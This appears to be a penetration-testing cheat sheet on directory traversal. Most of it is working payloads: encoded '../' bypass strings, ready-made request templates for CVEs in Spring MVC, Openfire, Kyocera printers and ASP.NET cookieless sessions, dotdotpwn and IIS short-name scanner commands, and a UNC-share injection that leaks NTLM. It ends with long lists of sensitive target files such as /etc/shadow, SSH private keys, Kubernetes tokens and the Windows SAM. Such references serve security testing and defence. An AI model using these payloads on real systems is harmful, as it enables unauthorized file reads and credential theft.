Directory Traversal

Path Traversal, also known as Directory Traversal, is a type of security vulnerability that occurs when an attacker manipulates variables that reference files with “dot-dot-slash (../)” sequences or similar constructs. This can allow the attacker to access arbitrary files and directories stored on the file system.

Summary

Tools
Methodology
Exploit
Path Traversal
- Linux Files
- Windows Files
Labs
References

Tools

wireghoul/dotdotpwn - The Directory Traversal Fuzzer

perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b

Methodology

We can use the .. characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

URL Encoding

Character	Encoded
`.`	`%2e`
`/`	`%2f`
`\`	`%5c`

Example: IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion

{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd

Double URL Encoding

Double URL encoding is the process of applying URL encoding twice to a string. In URL encoding, special characters are replaced with a % followed by their hexadecimal ASCII value. Double encoding repeats this process on the already encoded string.

Character	Encoded
`.`	`%252e`
`/`	`%252f`
`\`	`%255c`

Example: Spring MVC Directory Traversal Vulnerability (CVE-2018-1271)

{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

Unicode Encoding

Character	Encoded
`.`	`%u002e`
`/`	`%u2215`
`\`	`%u2216`

Example: Openfire Administration Console - Authentication Bypass (CVE-2023-32315)

{{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

Overlong UTF-8 Unicode Encoding

The UTF-8 standard mandates that each codepoint is encoded using the minimum number of bytes necessary to represent its significant bits. Any encoding that uses more bytes than required is referred to as "overlong" and is considered invalid under the UTF-8 specification. This rule ensures a one-to-one mapping between codepoints and their valid encodings, guaranteeing that each codepoint has a single, unique representation.

Character	Encoded
`.`	`%c0%2e`, `%e0%40%ae`, `%c0%ae`
`/`	`%c0%af`, `%e0%80%af`, `%c0%2f`
`\`	`%c0%5c`, `%c0%80%5c`

Mangled Path

Sometimes you encounter a WAF which remove the ../ characters from the strings, just duplicate them.

..././
...\.\

Example:: Mirasys DVMS Workstation <=5.12.6

{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini

NULL Bytes

A null byte (%00), also known as a null character, is a special control character (0x00) in many programming languages and systems. It is often used as a string terminator in languages like C and C++. In directory traversal attacks, null bytes are used to manipulate or bypass server-side input validation mechanisms.

Example: Homematic CCU3 CVE-2019-9726

{{BaseURL}}/.%00./.%00./etc/passwd

Example: Kyocera Printer d-COPIA253MF CVE-2020-23575

{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm

Reverse Proxy URL Implementation

Nginx treats /..;/ as a directory while Tomcat treats it as it would treat /../ which allows us to access arbitrary servlets.

..;/

Example: Pascom Cloud Phone System CVE-2021-45967

A configuration error between NGINX and a backend Tomcat server leads to a path traversal in the Tomcat server, exposing unintended endpoints.

{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}

Exploit

These exploits affect mechanism linked to specific technologies.

A UNC (Universal Naming Convention) share is a standard format used to specify the location of resources, such as shared files, directories, or devices, on a network in a platform-independent manner. It is commonly used in Windows environments but is also supported by other operating systems.

An attacker can inject a Windows UNC share (\\UNC\share\name) into a software system to potentially redirect access to an unintended location or arbitrary file.

\\localhost\c$\windows\win.ini

Also the machine might also authenticate on this remote share, thus sending an NTLM exchange.

ASP NET Cookieless

When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it.

For example, a typical URL might be transformed from: http://example.com/page.aspx to something like: http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx. The value within (S(...)) is the Session ID.

.NET Version	URI
V1.0, V1.1	/(XXXXXXXX)/
V2.0+	/(S(XXXXXXXX))/
V2.0+	/(A(XXXXXXXX)F(YYYYYYYY))/
V2.0+	...

We can use this behavior to bypass filtered URLs.

If your application is in the main folder

/(S(X))/
/(Y(Z))/
/(G(AAA-BBB)D(CCC=DDD)E(0-1))/
/(S(X))/admin/(S(X))/main.aspx
/(S(x))/b/(S(x))in/Navigator.dll

If your application is in a subfolder

/MyApp/(S(X))/
/admin/(S(X))/main.aspx
/admin/Foobar/(S(X))/../(S(X))/main.aspx

CVE	Payload
CVE-2023-36899	/WebForm/(S(X))/prot/(S(X))ected/target1.aspx
-	/WebForm/(S(X))/b/(S(X))in/target2.aspx
CVE-2023-36560	/WebForm/pro/(S(X))tected/target1.aspx/(S(X))/
-	/WebForm/b/(S(X))in/target2.aspx/(S(X))/

IIS Short Name

The IIS Short Name vulnerability exploits a quirk in Microsoft's Internet Information Services (IIS) web server that allows attackers to determine the existence of files or directories with names longer than the 8.3 format (also known as short file names) on a web server.

irsdl/IIS-ShortName-Scanner

java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'

bitquark/shortscan
```
shortscan http://example.org/
```

Java URL Protocol

Java's URL protocol when new URL('') is used allows the format url:URL

url:file:///etc/passwd
url:http://127.0.0.1:8080

Path Traversal

Linux Files

Operating System and Informations

/etc/issue
/etc/group
/etc/hosts
/etc/motd

Processes

/proc/[0-9]*/fd/[0-9]*   # first number is the PID, second is the filedescriptor
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts

Network

/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp

Current Path

/proc/self/cwd/index.php
/proc/self/cwd/main.py

Indexing

/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db

Credentials and history

/etc/passwd
/etc/shadow
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/etc/mysql/my.cnf

Kubernetes

/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount

Windows Files

The files license.rtf and win.ini are consistently present on modern Windows systems, making them a reliable target for testing path traversal vulnerabilities. While their content isn't particularly sensitive or interesting, they serves well as a proof of concept.

C:\Windows\win.ini
C:\windows\system32\license.rtf

A list of files / paths to probe when arbitrary files can be read on a Microsoft Windows operating system: soffensive/windowsblindread

c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system